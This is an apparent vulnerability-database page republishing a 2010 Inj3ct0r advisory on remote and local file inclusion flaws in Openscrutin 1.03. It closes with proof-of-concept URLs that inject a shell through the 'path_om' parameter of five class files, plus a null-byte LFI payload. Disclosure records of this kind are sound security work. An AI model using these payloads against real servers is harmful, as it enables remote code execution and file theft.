Openscrutin 1.03 (RFI/LFI) Multiple File Include Vulnerability

vendor:

Openscrutin

by:

cr4wl3r

9,3

CVSS

HIGH

Remote File Inclusion (RFI) and Local File Inclusion (LFI)

CWE

Product Name: Openscrutin

Affected Version From: 1.03

Affected Version To: 1.03

Patch Exists: NO

Related CWE: N/A

CPE: a:adullact:openscrutin:1.03

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2010

Openscrutin 1.03 (RFI/LFI) Multiple File Include Vulnerability

Openscrutin 1.03 is vulnerable to Remote File Inclusion (RFI) and Local File Inclusion (LFI) attacks. An attacker can exploit this vulnerability by sending a maliciously crafted URL to the vulnerable application. This can allow the attacker to execute arbitrary code on the server, access sensitive files, and gain access to the server. The vulnerability is caused due to insufficient sanitization of user-supplied input in the 'path_om' parameter of the 'droit.class.php', 'collectivite.class.php', 'utilisateur.class.php', 'courrier.class.php', and 'profil.class.php' scripts.

Mitigation:

The application should validate user-supplied input and filter out any malicious code. The application should also be configured to use a secure connection.

Source

Exploit-DB raw data:

==============================================================
Openscrutin 1.03 (RFI/LFI) Multiple File Include Vulnerability
==============================================================

[+] Openscrutin 1.03 (RFI/LFI) Multiple File Include Vulnerability

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : Inj3ct0r.com 0
1 [+] Support e-mail : submit[at]inj3ct0r.com 1
0 0
1 ###################################### 1
0 I'm cr4wl3r member from Inj3ct0r Team 1
1 ###################################### 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

[+] Discovered By: cr4wl3r
[+] Download: https://adullact.net/frs/download.php/4544/openmairie_scrutin_1.03.zip
[+] Greetz: All member inj3ct0r.com, manadocoding.net, sekuritionline.net, gcc.web.id

[+] Thanks to: opt!x hacker, xoron, cyberlog, irvian, antihack, angky.tatoki,
EA ngel, zvtral, s4va, bL4Ck_3n91n3, untouch, team_elite, zreg, mywisdom,
SENOT, kec0a, d3viln3t, p4p4y, cybertomat, etaxCrew, emen, and all my friend

[+] PoC:

[~] RFI:
http://shell4u.tk/[path]/obj/droit.class.php?path_om=[Shell]
http://shell4u.tk/[path]/obj/collectivite.class.php?path_om=[Shell]
http://shell4u.tk/[path]/obj/utilisateur.class.php?path_om=[Shell]
http://shell4u.tk/[path]/obj/courrier.class.php?path_om=[Shell]
http://shell4u.tk/[path]/obj/profil.class.php?path_om=[Shell]

[~] LFI:
http://shell4u.tk/[path]/scr/soustab.php?dsn[phptype]=[LFI%00]


# Inj3ct0r.com [2010-04-18]